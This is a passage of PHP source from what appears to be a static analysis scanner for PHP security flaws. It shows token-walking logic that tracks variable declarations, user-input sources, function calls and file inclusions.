)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->variable_scan($i, $this->tokens[$i-1] === '{' ? 2 : 1, 'extract', 'Userinput is used to build the variable name. Arbitrary variables may be overwritten/initialized which may lead to further vulnerabilities.');\n\t\t\t\t\t}\n\t\t\t\t\t// foreach($var as $key => $value)\n\t\t\t\t\telse if( $this->tokens[$i-1][0] === T_AS\n\t\t\t\t\t|| ($this->tokens[$i-1][0] === T_DOUBLE_ARROW && $this->tokens[$i-2][0] === T_VARIABLE && $this->tokens[$i-3][0] === T_AS) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$c=3;\n\t\t\t\t\t\twhile($this->tokens[$i-$c][0] !== T_FOREACH)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c++;\n\n\t\t\t\t\t\t\tif(($i-$c)<0 || $this->tokens[$i-$c] === ';')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddError('Could not find FOREACH token before AS token', array_slice($this->tokens, $i-5, 10), $this->tokens[$i-1][2], $this->file_pointer);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t$token_value,\n\t\t\t\t\t\t\tarray_slice($this->tokens, $i-$c, $c+Analyzer::getBraceEnd($this->tokens, $i)),\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t0, 0,\n\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\t// for($var=1; ...)\t: add whole instruction block to output\n\t\t\t\t\telse if( $this->tokens[$i-2][0] === T_FOR\n\t\t\t\t\t&& ($this->tokens[$i+1] === '=' || in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT)) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$c=1;\n\t\t\t\t\t\t$newbraceopen = 1;\n\t\t\t\t\t\t$firstsemi = 0;\n\t\t\t\t\t\t// do not use getBraceEnd() here, because we dont want to stop at ';' in for(;;)\n\t\t\t\t\t\twhile( $newbraceopen !== 0 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// watch function calls in function call\n\t\t\t\t\t\t\tif( $this->tokens[$i + $c] === '(' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ')' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ';' && $firstsemi < 1 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$firstsemi = $c;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$c++;\n\n\t\t\t\t\t\t\tif(!isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddError('Could not find closing parenthesis of for-statement.', array_slice($this->tokens, $i-2, 10), $this->tokens[$i-2][2], $this->file_pointer);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// overwrite value of first var because it is looped\n\t\t\t\t\t\t// this is an assumption, other vars could be declared for($var1=1;$var2=2;...)\n\t\t\t\t\t\t$this->tokens[$i+2][0] = T_ENCAPSED_AND_WHITESPACE;\n\t\t\t\t\t\t$this->tokens[$i+2][1] = '*';\n\n\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t$token_value,\n\t\t\t\t\t\t\tarray_slice($this->tokens, $i-2, $c+2),\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t1, 2+$firstsemi,\n\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\t// $var = ...;\n\t\t\t\t\telse if( $this->tokens[$i+1] === '=' || in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$vardeclare = array();\n\n\t\t\t\t\t\t// $var = array(1,2,3,4);\n\t\t\t\t\t\tif($this->tokens[$i+2][0] === T_ARRAY && $this->tokens[$i+3] === '(' && $this->tokens[$i+4] !== ')')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$d = 4;\n\t\t\t\t\t\t\t$keyindex = 0;\n\t\t\t\t\t\t\t$newbraceopen = 1;\n\t\t\t\t\t\t\t$keytokens = array();\n\t\t\t\t\t\t\t$valuetokens = array();\n\n\t\t\t\t\t\t\twhile( !($newbraceopen === 0 || $this->tokens[$i + $d] === ';')\n\t\t\t\t\t\t\t&& $keyindex < MAX_ARRAY_ELEMENTS )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// count parameters\n\t\t\t\t\t\t\t\tif( $newbraceopen === 1 && ($this->tokens[$i + $d] === ',' || $this->tokens[$i + $d] === ')' ))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newindexvar = $this->tokens[$i];\n\t\t\t\t\t\t\t\t\t$newindexvar[3][] = empty($keytokens) ? $keyindex : $keytokens;\n\n\t\t\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t\t\t$token_value,\n\t\t\t\t\t\t\t\t\t\tarray_merge(array($newindexvar,$this->tokens[$i+1]), $valuetokens),\n\t\t\t\t\t\t\t\t\t\t' array() ',\n\t\t\t\t\t\t\t\t\t\tin_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT) ? 0 : 1, 0,\n\t\t\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array(),\n\t\t\t\t\t\t\t\t\t\tempty($keytokens) ? $keyindex : $keytokens\n\t\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t\t\t$keyindex++;\n\t\t\t\t\t\t\t\t\t$keytokens = array();\n\t\t\t\t\t\t\t\t\t$valuetokens = array();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// watch function calls in array braces\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $d] === '(' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $d] === ')' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// \"=>\" detected, tokens before are keyname, next one value\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $d][0] === T_DOUBLE_ARROW )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$keytokens = $valuetokens;\n\t\t\t\t\t\t\t\t\t$valuetokens = array();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// main\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$valuetokens[] = $this->tokens[$i + $d];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$d++;\n\n\t\t\t\t\t\t\t\tif(!isset($this->tokens[$i+$d]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Could not find closing parenthesis of array()-declaration.', array_slice($this->tokens, $i, 10), $this->tokens[$i+2][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$vardeclare['end'] = Analyzer::getBraceEnd($this->tokens, $i)+1;\n\t\t\t\t\t\t// $var = anything;\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t$token_value,\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i, $vardeclare['end'] = Analyzer::getBraceEnd($this->tokens, $i)+1),\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\tin_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT) ? 0 : 1, 0,\n\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// save var and var declare scope for data leak scan\n\t\t\t\t\t\t$vardeclare['start'] = $i;\n\t\t\t\t\t\t$vardeclare['name'] = $token_value;\n\t\t\t\t\t\t$vardeclare['linenr'] = $line_nr;\n\t\t\t\t\t\t$vardeclare['end'] += $i-1;\n\t\t\t\t\t}\n\n\t\t\t\t\t// $class->var\n\t\t\t\t\t//else if ($token_name === T_STRING && $tokens[$i-1][0] === T_OBJECT_OPERATOR && $tokens[$i-2][0] === T_VARIABLE)\n\n\t\t\t\t\t// add user input variables to global finding list\n\t\t\t\t\tif( in_array($token_value, Sources::$V_USERINPUT) )\n\t\t\t\t\t{\n\t\t\t\t\t\tif(isset($this->tokens[$i][3]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(!is_array($this->tokens[$i][3][0]))\n\t\t\t\t\t\t\t\t$GLOBALS['user_input'][$token_value.'['.$this->tokens[$i][3][0].']'][$this->file_pointer][] = $line_nr;\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$GLOBALS['user_input'][$token_value.'['.Analyzer::get_tokens_value(\n\t\t\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t\t\t$this->tokens[$i][3][0],\n\t\t\t\t\t\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t\t).']'][$this->file_pointer][] = $line_nr;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$GLOBALS['user_input'][$token_value][$this->file_pointer][] = $line_nr;\n\n\t\t\t\t\t\t// count found userinput in function for graphs\n\t\t\t\t\t\tif($this->in_function)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$GLOBALS['user_functions_offset'][$this->function_obj->name][5]++;\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$GLOBALS['user_functions_offset']['__main__'][5]++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// check if token is a function call and a function to scan\n\t\t\t\t// do not check if next token is '(' because: require $inc; does not use ()\n\t\t\t\telse if( in_array($token_name, Tokens::$T_FUNCTIONS)\n\t\t\t\t|| (in_array($token_name, Tokens::$T_XSS) && ($_POST['vector'] == 'client' || $_POST['vector'] == 'xss' || $_POST['vector'] == 'all')) )\n\t\t\t\t{\n\t\t\t\t\t$class='';\n\t\t\t\t\t/*************************\n\t\t\t\t\t\t\tT_STRING\n\t\t\t\t\t*************************/\n\t\t\t\t\tif($token_name === T_STRING && $this->tokens[$i+1] === '(')\n\t\t\t\t\t{\n\t\t\t\t\t\t// define(\"FOO\", $_GET['asd']);\n\t\t\t\t\t\tif($token_value === 'define')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c=1;\n\t\t\t\t\t\t\twhile($this->tokens[$i+$c] !== ',')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$c++;\n\n\t\t\t\t\t\t\t\tif($this->tokens[$i+$c] === ';' || !isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Second parameter of define() is missing.', array_slice($this->tokens, $i, $c), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\tstr_replace(array('\"',\"'\"), '', $this->tokens[$i+2][1]),\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i, Analyzer::getBraceEnd($this->tokens, $i)+1),\n\t\t\t\t\t\t\t\t' define() ',\n\t\t\t\t\t\t\t\t$c, 0,\n\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// ini_set()\n\t\t\t\t\t\telse if($token_value === 'ini_set')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$setting = str_replace(array(\"'\", '\"'), '', $this->tokens[$i+2][1]);\n\t\t\t\t\t\t\t// ini_set('include_path', 'foo/bar')\n\t\t\t\t\t\t\tif ($setting === 'include_path')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$path = Analyzer::get_tokens_value(\n\t\t\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i+4,Analyzer::getBraceEnd($this->tokens, $i+4)+1),\n\t\t\t\t\t\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t$this->include_paths = array_unique(array_merge($this->include_paths, Analyzer::get_ini_paths($path)));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// set_include_path('foo/bar')\n\t\t\t\t\t\telse if($token_value === 'set_include_path')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$path = Analyzer::get_tokens_value(\n\t\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i+1,Analyzer::getBraceEnd($this->tokens, $i+1)+1),\n\t\t\t\t\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t$this->include_paths = array_unique(array_merge($this->include_paths, Analyzer::get_ini_paths($path)));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// treat error handler as called function\n\t\t\t\t\t\telse if($token_value === 'set_error_handler')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$token_value = str_replace(array('\"',\"'\"), '', $this->tokens[$i+2][1]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// $array = compact(\"event\", \"city\");\n\t\t\t\t\t\telse if($token_value === 'compact'\n\t\t\t\t\t\t&& $this->tokens[$i-2][0] === T_VARIABLE)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$f=2;\n\t\t\t\t\t\t\twhile( $this->tokens[$i+$f] !== ')' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// for all array keys save new variable declarations\n\t\t\t\t\t\t\t\tif($this->tokens[$i+$f][0] === T_CONSTANT_ENCAPSED_STRING)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i-2][1], array(\n\t\t\t\t\t\t\t\t\t\t\tarray( T_VARIABLE, $this->tokens[$i-2][1], $line_nr, array(str_replace(array('\"',\"'\"),'',$this->tokens[$i+$f][1])) ),\n\t\t\t\t\t\t\t\t\t\t\t'=',\n\t\t\t\t\t\t\t\t\t\t\tarray(T_VARIABLE, '$'.str_replace(array('\"',\"'\"), '', $this->tokens[$i+$f][1]), $line_nr),\n\t\t\t\t\t\t\t\t\t\t\t';'\n\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t' compact() ',\n\t\t\t\t\t\t\t\t\t\t2, 0,\n\t\t\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i-2][3],\n\t\t\t\t\t\t\t\t\t\tstr_replace(array('\"',\"'\"),'',$this->tokens[$i+$f][1])\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$f++;\n\n\t\t\t\t\t\t\t\tif($this->tokens[$i+$f] === ';' || !isset($this->tokens[$i+$f]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Closing parenthesis of compact() is missing.', array_slice($this->tokens, $i, $f), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// preg_match($regex, $source, $matches), save $matches as var declare\n\t\t\t\t\t\telse if($token_value === 'preg_match' || $token_value === 'preg_match_all')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c = 2;\n\t\t\t\t\t\t\t$parameter = 1;\n\t\t\t\t\t\t\t$newbraceopen = 1;\n\n\t\t\t\t\t\t\twhile( $newbraceopen !== 0 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif( is_array($this->tokens[$i + $c])\n\t\t\t\t\t\t\t\t&& $this->tokens[$i + $c][0] === T_VARIABLE && $parameter == 3)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// add variable declaration to beginning of varlist\n\t\t\t\t\t\t\t\t\t// fake assignment parameter so it will not get traced\n\t\t\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i + $c][1],\n\t\t\t\t\t\t\t\t\t\tarray_slice($this->tokens,$i,Analyzer::getBraceEnd($this->tokens,$i+2)+3),\n\t\t\t\t\t\t\t\t\t\t' preg_match() ',\n\t\t\t\t\t\t\t\t\t\t0, $c-1,\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i + $c][2],\n\t\t\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\t\t\tisset($this->tokens[$i+$c][3]) ? $this->tokens[$i+$c][3] : array()\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// count parameters\n\t\t\t\t\t\t\t\telse if( $newbraceopen === 1 && $this->tokens[$i + $c] === ',' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$parameter++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// watch function calls in function call\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === '(' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ')' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if($this->tokens[$i+$c] === ';' || !isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Closing parenthesis of '.$token_value.'() is missing.', array_slice($this->tokens, $i, $c), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$c++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// import_request_variables()\n\t\t\t\t\t\telse if($token_value === 'import_request_variables')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// add register_globals implementation\n\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t'register_globals',\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i, Analyzer::getBraceEnd($this->tokens, $i+1)+1),\n\t\t\t\t\t\t\t\t'register_globals implementation',\n\t\t\t\t\t\t\t\t0, 0,\n\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// parse_str()\n\t\t\t\t\t\telse if($token_value === 'parse_str')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c = 2;\n\t\t\t\t\t\t\t$parameter = 1;\n\t\t\t\t\t\t\t$newbraceopen = 1;\n\n\t\t\t\t\t\t\twhile( $newbraceopen !== 0 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif( is_array($this->tokens[$i + $c])\n\t\t\t\t\t\t\t\t&& $this->tokens[$i + $c][0] === T_VARIABLE && $parameter == 2)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// add variable declaration to beginning of varlist\n\t\t\t\t\t\t\t\t\t// fake assignment parameter so it will not get traced\n\t\t\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i + $c][1],\n\t\t\t\t\t\t\t\t\t\tarray_slice($this->tokens,$i,Analyzer::getBraceEnd($this->tokens,$i+2)+3),\n\t\t\t\t\t\t\t\t\t\t' parse_str() ',\n\t\t\t\t\t\t\t\t\t\t0, $c-1,\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i + $c][2],\n\t\t\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\t\t\tisset($this->tokens[$i+$c][3]) ? $this->tokens[$i+$c][3] : array()\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// count parameters\n\t\t\t\t\t\t\t\telse if( $newbraceopen === 1 && $this->tokens[$i + $c] === ',' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$parameter++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// watch function calls in function call\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === '(' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ')' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if($this->tokens[$i+$c] === ';' || !isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Closing parenthesis of '.$token_value.'() is missing.', array_slice($this->tokens, $i, $c), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$c++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t//add interesting function calls to info gathering\n\t\t\t\t\t\tif( isset($this->info_functions[$token_value]) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$GLOBALS['info'][] = $this->info_functions[$token_value];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// watch constructor calls $var = Classname($constructor_param);\n\t\t\t\t\t\telse if( $this->tokens[$i-1][0] !== T_NEW && isset($this->vuln_classes[$token_value]) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->class_vars[ $this->tokens[$i-2][1] ] = $token_value;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// add function call to user-defined function list\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// $classvar->bla()\n\t\t\t\t\t\t\tif($this->tokens[$i-1][0] === T_OBJECT_OPERATOR)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$classvar = $this->tokens[$i-2][1];\n\t\t\t\t\t\t\t\tif($classvar[0] !== '$')\n\t\t\t\t\t\t\t\t\t$classvar = '$'.$classvar;\n\t\t\t\t\t\t\t\t$class = ($classvar === '$this' || $classvar === '$self') ? $this->class_name : $this->class_vars[$classvar];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// CLASS::func()\n\t\t\t\t\t\t\telse if($this->tokens[$i-1][0] === T_DOUBLE_COLON)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$class = $this->tokens[$i-2][1];\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// save function call for graph\n\t\t\t\t\t\t\tif(isset($GLOBALS['user_functions_offset'][($class?$class.'::':'').$token_value]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$GLOBALS['user_functions_offset'][($class?$class.'::':'').$token_value][3][] = array($this->file_pointer, $line_nr);\n\n\t\t\t\t\t\t\t\tif($this->in_function)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$GLOBALS['user_functions_offset'][$this->function_obj->name][4][] = $token_value;\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$GLOBALS['user_functions_offset']['__main__'][4][] = $token_value;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// check if token is function call that affects variable scope (global)\n\t\t\t\t\t\t\tif( isset($this->globals_from_function[$token_value]) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// put all previously saved global var assignments to global scope\n\t\t\t\t\t\t\t\tforeach($this->globals_from_function[$token_value] as $var_name=>$new_vars)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tforeach($new_vars as $new_var)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$new_var->comment = $new_var->comment . \" by $token_value()\";\n\t\t\t\t\t\t\t\t\t\tif(!isset($this->var_declares_global[$var_name]))\n\t\t\t\t\t\t\t\t\t\t\t$this->var_declares_global[$var_name] = array($new_var);\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\tarray_unshift($this->var_declares_global[$var_name], $new_var);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t/*************************\n\t\t\t\t\t\tFILE INCLUSION\n\t\t\t\t\t*************************/\n\t\t\t\t\t// include tokens from included files\n\t\t\t\t\telse if( in_array($token_name, Tokens::$T_INCLUDES) && !$this->in_function)\n\t\t\t\t\t{\n\t\t\t\t\t\t$GLOBALS['count_inc']++;\n\t\t\t\t\t\t// include('xxx')\n\t\t\t\t\t\tif ( (($this->tokens[$i+1] === '('\n\t\t\t\t\t\t\t&& $this->tokens[$i+2][0] === T_CONSTANT_ENCAPSED_STRING\n\t\t\t\t\t\t\t&& $this->tokens[$i+3] === ')')\n\t\t\t\t\t\t// include 'xxx'\n\t\t\t\t\t\t|| (is_array($this->tokens[$i+1])\n\t\t\t\t\t\t\t&& $this->tokens[$i+1][0] === T_CONSTANT_ENCAPSED_STRING\n\t\t\t\t\t\t\t&& $this->tokens[$i+2] === ';' )) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// include('file')\n\t\t\t\t\t\t\tif($this->tokens[$i+1] === '(')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$inc_file = substr($this->tokens[$i+2][1], 1, -1);\n\t\t\t\t\t\t\t\t$skip = 5;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// include 'file'\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$inc_file = substr($this->tokens[$i+1][1], 1, -1);\n\t\t\t\t\t\t\t\t$skip = 3;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// dynamic include\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$inc_file = Analyzer::get_tokens_value(\n\t\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i+1, $c=Analyzer::getBraceEnd($this->tokens, $i+1)+1),\n\t\t\t\t\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t// in case the get_var_value added several php files, take the first\n\t\t\t\t\t\t\t$several = explode('.php', $inc_file);\n\t\t\t\t\t\t\tif(count($several) > 1)\n\t\t\t\t\t\t\t\t$try_file = $several[0] . '.php';\n\n\t\t\t\t\t\t\t$skip = $c+1; // important to save $c+1 here\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$try_file = $inc_file;\n\n\t\t\t\t\t\t// try absolute include path\n\t\t\t\t\t\tforeach($this->include_paths as $include_path)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(is_file(\"$include_path/$try_file\"))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$try_file = \"$include_path/$try_file\";\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// if dirname(__FILE__) appeared it was an absolute 